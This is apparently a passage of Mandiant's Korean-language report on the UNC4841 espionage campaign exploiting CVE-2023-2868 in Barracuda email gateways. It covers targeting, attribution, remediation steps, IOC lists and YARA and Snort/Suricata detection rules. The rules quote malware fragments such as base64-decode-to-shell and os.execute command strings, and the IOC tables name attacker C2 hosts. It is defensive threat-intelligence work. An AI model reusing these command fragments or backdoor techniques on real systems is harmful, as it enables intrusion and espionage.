몇몇 사례에서 UNC4841이 정찰 활동을 수행하는 것을 관찰할 수 있었습니다. 이 경우 공격자는 호스트 탐지, 포트 스캐닝, 웹 지문 식별, 웹 취약성 스캐닝, 도메인 제어 식별 및 기타 기능을 위해 fscan과 같은 오픈 소스 툴을 사용했습니다. 다음은 fscan 도구의 출력 예입니다. 한 환경에서는 9일 동안 50개 이상의 서브넷을 스캔했으며, 이 중 약 80%가 하루 만에 완료되었습니다.

<redacted>::25 open

<redacted>:25 open

<redacted>:587 open

<redacted>:443 open

[*] NetInfo:

[*]<redacted>

   [->]<redacted>

   [->]<redacted>

[*] WebTitle: https://<redacted>       code:200 len:701    title:IIS Windows Server

<redacted>:25 open

<redacted>:443 open

[*] LiveTop <redacted>/16     段存活数量为: 65

[*] LiveTop <redacted>/16     段存活数量为: 26

[*] LiveTop <redacted>/16     段存活数量为: 13

<redacted>:25 open

<redacted>:587 open

<redacted>:53 open

<redacted>:389 open

타깃팅

표적이 된 조직은 전 세계 공공 및 민간 부분에 두루 걸쳐 있습니다. 취약점을 악용하는 활동의 대부분은 미주 지역에 영향을 미치는 것으로 보입니다. 이는 Barracuda ESG 어플라이언스를 사용하는 고객들의 주요 위치를 고려해 이해할 수 있습니다.

Affected organizations by region
그림 4. 영향을 받는 조직의 지역별 현황

확인된 피해 조직 중 거의 3분의 1이 정부 기관이었습니다(그림 5). 이는 이번 캠페인의 동기가 스파이 활동이란 평가를 뒷받침합니다. 또한, 집중적인 데이터 유출을 위해 타깃이 된 조직으로 아세안 외교부(MFA), 대만과 홍콩의 무역 사무소 및 학술 연구 기관이 있습니다. 맨디언트는 이들 조직의 이메일 도메인과 사용자를 대상으로 하는 쉘 스크립트를 발견하였습니다. 또한, 공격자들은 피해 정부가 다른 국가와의 고위급 외교 회의에 참가하는 동시에 중국에 정치적 또는 전략적 이해관계가 있는 정부를 위해 일하는 개인의 이메일 계정을 검색했습니다.>

Government agencies worldwide appear to have been disproportionately targeted.
그림 5. 주요 피해 조직 중 하나인 세계 각국 정부

분석 시점에 입수한 정보에 따르면 초기 침해는 중국 본토에 위치한 일부 Barracuda ESG 어플라이언스에서 발생한 것으로 보입니다. 초기 침해에 사용된 C2 통신은 포트 8080을 활용했지만 이후 전 세계적으로 발생한 침해에는 포트 443 또는 포트 25를 사용했습니다.

핵심 정리 및 전망과 시사점

맨디언트는 UNC4841이 중국을 지원하기 위해 스파이 활동을 수행했다고 확신을 갖고 평가합니다. 현재로서는 이 활동이 이전에 알려진 공격 그룹의 소행이라고 단정할 수 없습니다. 그러나 여러 인프라와 맬웨어 코드에서 중국과 연계된 스파이 활동이라는 높은 확신을 갖게 하는 공통점이 있음을 확인했습니다. 또한, 조직 및 개인 계정 수준 모두에서 중국의 정책 우선순위가 높은 문제, 특히 대만을 포함한 아시아 태평양 지역에 초점을 맞춘 표적 공격이 이루어졌습니다.

본 포스팅 작성에 참여한 분들 그리고 도움을 준 수십명의 컨설턴트와 분석가들이 CVE-2023-2868 관련해 고객을 돕기 위해 노력하고 있습니다. 이 자리를 통해 바라쿠다의 사고 대응 팀, 맨디언트 FLARE 팀 그리고 맨디언트의 Jakub Jozwiak, Fernando Tomlinson, Josh Villanueva, Alyssa Glickman에게 감사의 말을 전합니다.

권장 사항

2023년 5월 31일에 발표된 바라쿠다의 지침에 따라 맨디언트는 패치 레벨에 관계 없이 손상된 Barracuda ESG 어플라이언스를 즉시 교체할 것을 권장합니다. 영향을 받은 Barracuda ESG 어플라이언스 교체에 대한 추가 지침은 발라쿠다의 트러스트센터를 통해 확인할 수 있습니다.

또한, 맨디언트는 영향을 받은 모든 조직이 네트워크 내에서 다음과 같은 조사 및 위협 헌팅 활동을 수행할 것을 권장합니다.

  • 맨디어트와 바라쿠다에서 제공하는 모든 침해 지표(IOC)의 영향을 받는 환경을 조사합니다.
  • 이메일 로그를 검토하여 최초 노출 지점을 파악합니다.
  • 침해 시점에 Barracuda ESG 어플라이언스에 있던 모든 도메인 기반 및 로컬 자격 증명을 해지하고 교체합니다.
  • 침해 시점에 Barracuda ESG 어플라이언스에 있던 모든 인증서를 해지하고 재발급합니다.
  • 침해 시점에 Barracuda ESG 어플라이언스에 있던 자격 증명이 사용되는지 전체 환경을 모니터링합니다.
  • 침해 시점에 Barracuda ESG 어플라이언스에 있던 인증서가 사용되는지 전체 환경을 모니터링합니다.
  • 네트워크 로그를 검토해 데이터 유출 및 측면 이동의 징후를 확인합니다.
  • Barracuda ESG 어플라이언스의 포렌식 이미지를 캡처하고 분석을 수행합니다. 물리적 Barracuda ESG 어플라이언스는 표준 절차에 따라 이미지화할 수 있습니다. 대부분의 모델에는 RAID1 구성의 핫스왑 가능한 드라브가가 2개 있습니다. 제공된 YARA 룰을 Barracuda ESG 어플라이언스 이미지에 적용해 포렌식 조사자를 지원합니다.

맨디언트는 조직의 조사에 도움을 주기 위해 현재까지 관찰된 IOC를 정리해 게시했습니다. IOC는 본 포스팅에 올렸으니 참조바랍니다.

본 블로그 게시물과 함께 맨디언트는 이번 캠페인에 영향을 받는 조직을 위해 자세한 아키텍처 강화 가이드를 만들었습니다. 이 문서에는 다음과 같은 지침이 담겨 있습니다.

  • 네트워크 통신 제한
  • 패치 및 업데이트
  • 자격 증명 순환 및 세분화
  • 로깅 및 헌팅
  • 인프라 측면 이동 강화

침해 지표

네트워크 IOC

IP Address

ASN

Netblock

Location

101.229.146.218

4812

China Telecom

CN

103.146.179.101

136933

Gigabitbank Global

HK

103.27.108.62

132883

Topway Global Limited

HK

103.77.192.13

10222

Multibyte Info Technology Limited

HK

103.77.192.88

10222

Multibyte Info Technology Limited

HK

103.93.78.142

61414

Edgenap Ltd

JP

104.156.229.226

20473

Choopa, LLC

US

104.223.20.222

8100

CloudVPS

US

107.148.149.156

399195

Pegtechinc-ap-04

US

107.148.219.227

54600

Peg Tech

US

107.148.219.53

54600

Peg Tech

US

107.148.219.54

54600

Peg Tech

US

107.148.219.55

54600

Peg Tech

US

107.148.223.196

54600

Peg Tech

US

107.173.62.158

20278

Nexeon Technologies

US

137.175.19.25

54600

Peg Tech

US

137.175.28.251

54600

Peg Tech

US

137.175.30.36

54600

Peg Tech

US

137.175.30.86

54600

Peg Tech

US

137.175.51.147

54600

Peg Tech

US

137.175.53.17

54600

Peg Tech

US

137.175.53.170

54600

Peg Tech

US

137.175.53.218

54600

Peg Tech

US

137.175.60.252

54600

Peg Tech

US

137.175.60.253

54600

Peg Tech

US

137.175.78.66

54600

Peg Tech

US

139.84.227.9

20473

Choopa, LLC

ZA

155.94.160.72

8100

CloudVPS

US

182.239.114.135

9231

China Mobile Hong Kong

HK

182.239.114.254

9231

China Mobile Hong Kong

HK

192.74.226.142

54600

Peg Tech

CN

192.74.254.229

54600

Peg Tech

US

198.2.254.219

54600

Peg Tech

US

198.2.254.220

54600

Peg Tech

US

198.2.254.221

54600

Peg Tech

US

198.2.254.222

54600

Peg Tech

US

198.2.254.223

54600

Peg Tech

US

199.247.23.80

20473

Choopa, LLC

DE

213.156.153.34

202422

G-Core Labs S.A.

US

216.238.112.82

20473

Choopa, LLC

BR

23.224.42.29

40065

Cnservers LLC

US

23.224.78.130

40065

Cnservers LLC

US

23.224.78.131

40065

Cnservers LLC

US

23.224.78.132

40065

Cnservers LLC

US

23.224.78.133

40065

Cnservers LLC

US

23.224.78.134

40065

Cnservers LLC

US

37.9.35.217

202422

G-Core Labs S.A.

US

38.54.113.205

138915

Kaopu Cloud HK Limited

MY

38.54.1.82

138915

Kaopu Cloud HK Limited

SG

38.60.254.165

174

Cogent Communications

US

45.63.76.67

20473

Choopa, LLC

US

52.23.241.105

14618

Amazon.com

US

64.176.4.234

20473

Choopa, LLC

US

64.176.7.59

20473

Choopa, LLC

US

도메인

Domain

bestfindthetruth[.]com

fessionalwork[.]com

gesturefavour[.]com

goldenunder[.]com

singamofing[.]com

singnode[.]com

togetheroffway[.]com

troublendsef[.]com

엔드포인트 IOC

Hash

Filename

Type

0d67f50a0bf7a3a017784146ac41ada0

snapshot.tar

Payload Attachment

42722b7d04f58dcb8bd80fe41c7ea09e

11111.tar

Payload Attachment

5392fb400bd671d4b185fb35a9b23fd3

imgdata.jpg

Payload Attachment

ac4fb6d0bfc871be6f68bfa647fc0125

snapshot.tar

Payload Attachment

878cf1de91f3ae543fd290c31adcbda4

snapshot.tar

Payload Attachment

b601fce4181b275954e3f35b18996c92

install_reuse.tar

SALTWATER install

827d507aa3bde0ef903ca5dec60cdec8

mod_udp.so

SALTWATER variant

c56d7b86e59c5c737ee7537d7cf13df1

autoins

SALTWATER install

6f79ef58b354fd33824c96625590c244

intent_reuse

SALTWATER install

349ca242bc6d2652d84146f5f91c3dbb

intentbas

SALTWATER install

1fea55b7c9d13d822a64b2370d015da7

mod_udp.so

SALTWATER variant

64c690f175a2d2fe38d3d7c0d0ddbb6e

mod_udp.so

SALTWATER variant

4cd0f3219e98ac2e9021b06af70ed643

mod_udp.so

SALTWATER variant

3b93b524db66f8bb3df8279a141734bb

mod_rtf.so

SALTWATER variant

8fdf3b7dc6d88594b8b5173c1aa2bc82

mod_rft.so

SALTWATER Variant

4ec4ceda84c580054f191caa09916c68

mod_rft.so

SALTWATER variant

1b1830abaf95bd5a44aa3873df901f28

mod_rft.so

SALTWATER variant

4ca4f582418b2cc0626700511a6315c0

BarracudaMailService

SEASPY Variant

c528b6398c86f8bdcfa3f9de7837ebfe

update_v2.sh

SEASPY Install

2d841cb153bebcfdee5c54472b017af2

rc

SEASPY launcher

c979e8651c1f40d685be2f66e8c2c610

rc

SEASPY launcher

1c042d39ca093b0e7f1412453b132076

rc

SEASPY launcher

ba7af4f98d85e5847c08cf6cefdf35dc

rc

SEASPY launcher

82eaf69de710abdc5dea7cd5cb56cf04

BarracudaMailService

SEASPY Variant

e80a85250263d58cc1a1dc39d6cf3942

BarracudaMailService

SEASPY Variant

5d6cba7909980a7b424b133fbac634ac

BarracudaMailService

SEASPY Variant

1bbb32610599d70397adfdaf56109ff3

BarracudaMailService

SEASPY Variant

4b511567cfa8dbaa32e11baf3268f074

BarracudaMailService

SEASPY Variant

a08a99e5224e1baf569fda816c991045

BarracudaMailService

SEASPY Variant

19ebfe05040a8508467f9415c8378f32

BarracudaMailService

SEASPY Variant

831d41ba2a0036540536c2f884d089f9

sendscd

SEASPY Variant

db4c48921537d67635bb210a9cb5bb52

BarracudaMailService

SEASPY Variant

694cdb49879f1321abb4605adf634935

install_bvp74_auth.tar

SEASPY install

5fdee67c82f5480edfa54afc5a9dc834

install_bvp74_auth.tar

SEASPY install

8fc03800c1179a18fbd58d746596fa7d

update_version

SEASPY launcher

17696a438387248a12cc911fbae8620e

resize_risertab

SEASPY launcher

4c1c2db989e0e881232c7748593d291e

update_version

SEASPY launcher

3e3f72f99062255d6320d5e686f0e212

update_version

SEASPY launcher

7d7fd05b262342a9e8237ce14ec41c3b

update_version

SEASPY launcher

2e30520f8536a27dd59eabbcb8e3532a

update_version

SEASPY launcher

0245e7f9105253ecb30de301842e28e4

update_version

SEASPY launcher

0c227990210e7e9d704c165abd76ebe2

update_version

SEASPY launcher

c7a89a215e74104682880def469d4758

update_version

SEASPY launcher

1bc5212a856f028747c062b66c3a722a

update_version

SEASPY launcher

a45ca19435c2976a29300128dc410fd4

update_version

SEASPY launcher

132a342273cd469a34938044e8f62482

update_version

SEASPY launcher

23f4f604f1a05c4abf2ac02f976b746b

resize2fstab

SEASPY Variant

45b79949276c9cb9cf5dc72597dc1006

resize_reisertab

SEASPY Variant

bef722484288e24258dd33922b1a7148

resize2fstab

SEASPY Variant

0805b523120cc2da3f71e5606255d29c

resize_reisertab

SEASPY Variant

69ef9a9e8d0506d957248e983d22b0d5

resize2fstab

SEASPY Variant

3c20617f089fe5cc9ba12c43c6c072f5

resize2fstab

SEASPY Variant

76811232ede58de2faf6aca8395f8427

resize2fstab

SEASPY Variant

f6857841a255b3b4e4eded7a66438696

resize_reisertab

SEASPY Variant

2ccb9759800154de817bf779a52d48f8

install_helo.tar

SEASIDE Install

cd2813f0260d63ad5adf0446253c2172

mod_require_helo.lua

SEASIDE variant

177add288b289d43236d2dba33e65956

rverify

WHIRLPOOL VARIANT

87847445f9524671022d70f2a812728f

mod_content.lua

SKIPJACK

35cf6faf442d325961935f660e2ab5a0

mod_attachment.lua

SEASPRAY

ce67bb99bc1e26f6cb1f968bc1b1ec21

install_att_v2.tar

SEASPRAY install

e4e86c273a2b67a605f5d4686783e0cc

mknod

SKIPJACK Persistence

ad1dc51a66201689d442499f70b78dea

get_fs_info.pl

SKIPJACK Persistence

9033dc5bac76542b9b752064a56c6ee4

nfsd_stub.ko

SANDBAR

e52871d82de01b7e7f134c776703f696

rverify

WHIRLPOOL Variant

446f3d71591afa37bbd604e2e400ae8b

mknod

SEASPRAY Persistence

666da297066a2596cacb13b3da9572bf

mod_sender.lua

SEASPRAY

436587bad5e061a7e594f9971d89c468

saslautchd

WHIRLPOOL Variant

85c5b6c408e4bdb87da6764a75008adf

rverify

WHIRLPOOL Variant

407738e565b4e9dafb07b782ebcf46b0

test1.sh

Reverse shell cronjob

cb0f7f216e8965f40a724bc15db7510b

update_v35.sh

Bash Script

N/A - multiple version identified

1.sh

Bash Script

19e373b13297de1783cecf856dc48eb0

cl

proxy client

N/A

aacore.sh

reverse shell cronjob

N/A

appcheck.sh

reverse shell cronjob

881b7846f8384c12c7481b23011d8e45

update_v31.sh

Bash Script

f5ab04a920302931a8bd063f27b745cc

intent_helo

Bash Script

N/A

p

Named pipe used in reverse shell

N/A

p7

Named pipe used in reverse shell

N/A

t

Named pipe used in reverse shell

N/A

core.sh

Reverse shell cronjob

N/A

p1

Named pipe used in reverse shell

177add288b289d43236d2dba33e65956

pd

WHIRLPOOL Variant

N/A

Named pipe used in reverse shell

d098fe9674b6b4cb540699c5eb452cb5

test.sh

Reverse shell cronjob

N/A

ss

Named pipe used in reverse shell

탐지를 위한 YARA 룰

YARA Rules

rule M_Hunting_Exploit_Archive_2

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for TAR archives with /tmp/ base64 encoded being part of filename of enclosed files"

        md5 = "0d67f50a0bf7a3a017784146ac41ada0"

    strings:

        $ustar = { 75 73 74 61 72 }

        $b64_tmp = "/tmp/" base64

    condition:

        filesize < 1MB and

        $ustar at 257 and

        for any i in (0 .. #ustar) : (

            $b64_tmp in (i * 512 .. i * 512 + 250)

        )

}

rule M_Hunting_Exploit_Archive_3

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for TAR archive with openssl base64 encoded being part of filename of enclosed files"

        md5 = "0d67f50a0bf7a3a017784146ac41ada0"

    strings:

        $ustar = { 75 73 74 61 72 }

        $b64_openssl = "openssl" base64

    condition:

        filesize < 1MB and

        $ustar at 257 and

        for any i in (0 .. #ustar) : (

            $b64_openssl in (i * 512 .. i * 512 + 250)

        )

}

rule M_Hunting_Exploit_Archive_CVE_2023_2868

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for TAR archive with single quote/backtick as start of filename of enclosed files. CVE-2023-2868"

        md5 = "0d67f50a0bf7a3a017784146ac41ada0"

    strings:

        $ustar = { 75 73 74 61 72 }

        $qb = "'`"

    condition:

        filesize < 1MB and

        $ustar at 257 and

        for any i in (0 .. #ustar) : (

            $qb at (@ustar[i] + 255)

        )

}

rule M_Hunting_Linux_SALTWATER_1

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in SALTWATER samples."

        md5 = "827d507aa3bde0ef903ca5dec60cdec8"

    strings:

        $s1 = { 71 75 69 74 0D 0A 00 00 00 33 8C 25 3D 9C 17 70 08 F9 0C 1A 41 71 55 36 1A 5C 4B 8D 29 7E 0D 78 }

        $s2 = { 00 8B D5 AD 93 B7 54 D5 00 33 8C 25 3D 9C 17 70 08 F9 0C 1A 41 71 55 36 1A 5C 4B 8D 29 7E 0D 78 }

        $s3 = { 71 75 69 74 0D 0A 00 00 00 12 8D 03 07 9C 17 92 08 F0 0C 9A 01 06 08 00 1A 0C 0B 8D 18 0A 0D 0A }

    condition:

        uint32(0) == 0x464c457f and any of them

}

rule M_Hunting_Linux_SALTWATER_2

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in SALTWATER samples."

        md5 = "827d507aa3bde0ef903ca5dec60cdec8"

    strings:

        $c1 = "TunnelArgs"

        $c2 = "DownloadChannel"

        $c3 = "UploadChannel"

        $c4 = "ProxyChannel"

        $c5 = "ShellChannel"

        $c6 = "MyWriteAll"

        $c7 = "MyReadAll"

        $c8 = "Connected2Vps"

        $c9 = "CheckRemoteIp"

        $c10 = "GetFileSize"

        $s1 = "[-] error: popen failed"

        $s2 = "/home/product/code/config/ssl_engine_cert.pem"

        $s3 = "libbindshell.so"

    condition:

        uint32(0) == 0x464c457f and (any of ($s*) or 4 of ($c*))

}

rule FE_Hunting_Linux_Funchook_FEBeta

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in Funchook library - https://github.com/kubo/funchook"

        md5 = "827d507aa3bde0ef903ca5dec60cdec8"

    strings:

        $f = "funchook_"

        $s1 = "Enter funchook_create()"

        $s2 = "Leave funchook_create() => %p"

        $s3 = "Enter funchook_prepare(%p, %p, %p)"

        $s4 = "Leave funchook_prepare(..., [%p->%p],...) => %d"

        $s5 = "Enter funchook_install(%p, 0x%x)"

        $s6 = "Leave funchook_install() => %d"

        $s7 = "Enter funchook_uninstall(%p, 0x%x)"

        $s8 = "Leave funchook_uninstall() => %d"

        $s9 = "Enter funchook_destroy(%p)"

        $s10 = "Leave funchook_destroy() => %d"

        $s11 = "Could not modify already-installed funchook handle."

        $s12 = "  change %s address from %p to %p"

        $s13 = "  link_map addr=%p, name=%s"

        $s14 = "  ELF type is neither ET_EXEC nor ET_DYN."

        $s15 = "  not a valid ELF module %s."

        $s16 = "Failed to protect memory %p (size=%"

        $s17 = "  protect memory %p (size=%"

        $s18 = "Failed to unprotect memory %p (size=%"

        $s19 = "  unprotect memory %p (size=%"

        $s20 = "Failed to unprotect page %p (size=%"

        $s21 = "  unprotect page %p (size=%"

        $s22 = "Failed to protect page %p (size=%"

        $s23 = "  protect page %p (size=%"

        $s24 = "Failed to deallocate page %p (size=%"

        $s25 = " deallocate page %p (size=%"

        $s26 = "  allocate page %p (size=%"

        $s27 = "  try to allocate %p but %p (size=%"

        $s28 = "  allocate page %p (size=%"

        $s29 = "Could not find a free region near %p"

        $s30 = "  -- Use address %p or %p for function %p"

    condition:

        uint32(0) == 0x464c457f and (#f > 5 or 4 of ($s*))

}

rule M_Hunting_Linux_SEASPY_1

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in SEASPY samples."

        md5 = "4ca4f582418b2cc0626700511a6315c0"

    strings:

        $s1 = "usage: ./BarracudaMailService <Network-Interface>. e.g.: ./BarracudaMailService eth0"

        $s2 = "NO port code" 

        $s3 = "pcap_lookupnet: %s"

        $s4 = "Child process id:%d"

        $s5 = "[*]Success!"

        $s6 = "enter open tty shell..."

    condition:

        uint32(0) == 0x464c457f and all of ($s*)

}

rule M_Hunting_Lua_SEASIDE_1

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in SEASIDE samples."

        md5 = "cd2813f0260d63ad5adf0446253c2172"

    strings:

        $s1 = "function on_helo()"

        $s2 = "local bindex,eindex = string.find(helo,'.onion')" 

        $s3 = "helosend = 'pd'..' '..helosend" 

        $s4 = "os.execute(helosend)" 

    condition:

        (filesize < 1MB) and all of ($s*)

}

rule M_Hunting_SKIPJACK_1

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in SKIPJACK installation script."

        md5 = "e4e86c273a2b67a605f5d4686783e0cc"

    strings:

        $str1 = "hdr:name() == 'Content-ID'" base64

        $str2 = "hdr:body() ~= nil" base64

        $str3 = "string.match(hdr:body(),\"^[%w%+/=\\r\\n]+$\")" base64

        $str4 = "openssl aes-256-cbc" base64

        $str5 = "mod_content.lua" 

        $str6 = "#!/bin/sh" 

    condition:

        all of them

}

rule M_Hunting_Lua_SKIPJACK_2

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in SKIPJACK samples."

        md5 = "87847445f9524671022d70f2a812728f"

    strings:

        $str1 = "hdr:name() == 'Content-ID'" 

        $str2 = "hdr:body() ~= nil" 

        $str3 = "string.match(hdr:body(),\"^[%w%+/=\\r\\n]+$\")" 

        $str4 = "openssl aes-256-cbc" 

        $str5 = "| base64 -d| sh 2>" 

    condition:

        all of them

}

rule M_Hunting_Lua_SEASPRAY_1

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in SEASPRAY samples."

        md5 = "35cf6faf442d325961935f660e2ab5a0"

    strings:

        $str1 = "string.find(attachment:filename(),'obt075') ~= nil" 

        $str2 = "os.execute('cp '..tostring(tmpfile)..' /tmp/'..attachment:filename())" 

        $str3 = "os.execute('rverify'..' /tmp/'..attachment:filename())" 

    condition:

        all of them

}

rule M_Hunting_Linux_WHIRLPOOL_1

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in WHIRLPOOL samples."

        md5 = "177add288b289d43236d2dba33e65956"

    strings:

        $s1 = "error -1 exit" fullword

        $s2 = "create socket error: %s(error: %d)\n" fullword

        $s3 = "connect error: %s(error: %d)\n" fullword

        $s4 = {C7 00 20 32 3E 26 66 C7 40 04 31 00}

        $c1 = "plain_connect" fullword

        $c2 = "ssl_connect" fullword

        $c3 = "SSLShell.c" fullword

    condition:

        filesize < 15MB and uint32(0) == 0x464c457f and (all of ($s*) or all of ($c*))

}

Snort/Suricata

alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_oXmp"; flags:S; dsize:>9; content:"oXmp"; offset:0; depth:4; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000000; rev:1;)

 

alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_TfuZ"; flags:S; dsize:>9; content:"TfuZ"; offset:0; depth:4; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000001; rev:1;)

Suricata >= 5.0.4

alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_1358"; flags:S; tcp.hdr; content:"|05 4e|"; offset:22; depth:2; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000002; rev:1;)

 

alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_58928"; flags:S; tcp.hdr; content:"|e6 30|"; offset:28; depth:2; byte_test:4,>,16777216,0,big,relative; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000003; rev:1;)

 

alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_58930"; flags:S; tcp.hdr; content:"|e6 32|"; offset:28; depth:2; byte_test:4,>,16777216,0,big,relative; byte_test:2,>,0,0,big,relative; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000004; rev:1;)

 

alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_60826"; flags:S; tcp.hdr; content:"|ed 9a|"; offset:28; depth:2; byte_test:4,>,16777216,0,big,relative; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000005; rev:1;)

 

alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_60828"; flags:S; tcp.hdr; content:"|ed 9c|"; offset:28; depth:2; byte_test:4,>,16777216,0,big,relative; byte_test:2,>,0,0,big,relative; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000006; rev:1;)

Mandiant Security Validation Actions

맨디언트 보안 검증을 통해 다음 작업으로 보안 제어의 유효성을 검사할 수 있습니다.

VID

Name

A106-463

Command and Control - UNC4841, DNS Query, Variant #1

A106-464

Malicious File Transfer - SALTWATER, Download, Variant #1

A106-465

Malicious File Transfer - SEASPY, Download, Variant #1

A106-466

Malicious File Transfer - SEASIDE, Download, Variant #1

A106-506

Phishing Email - UNC4841, CVE-2023-2868, Malicious Attachment, Variant #1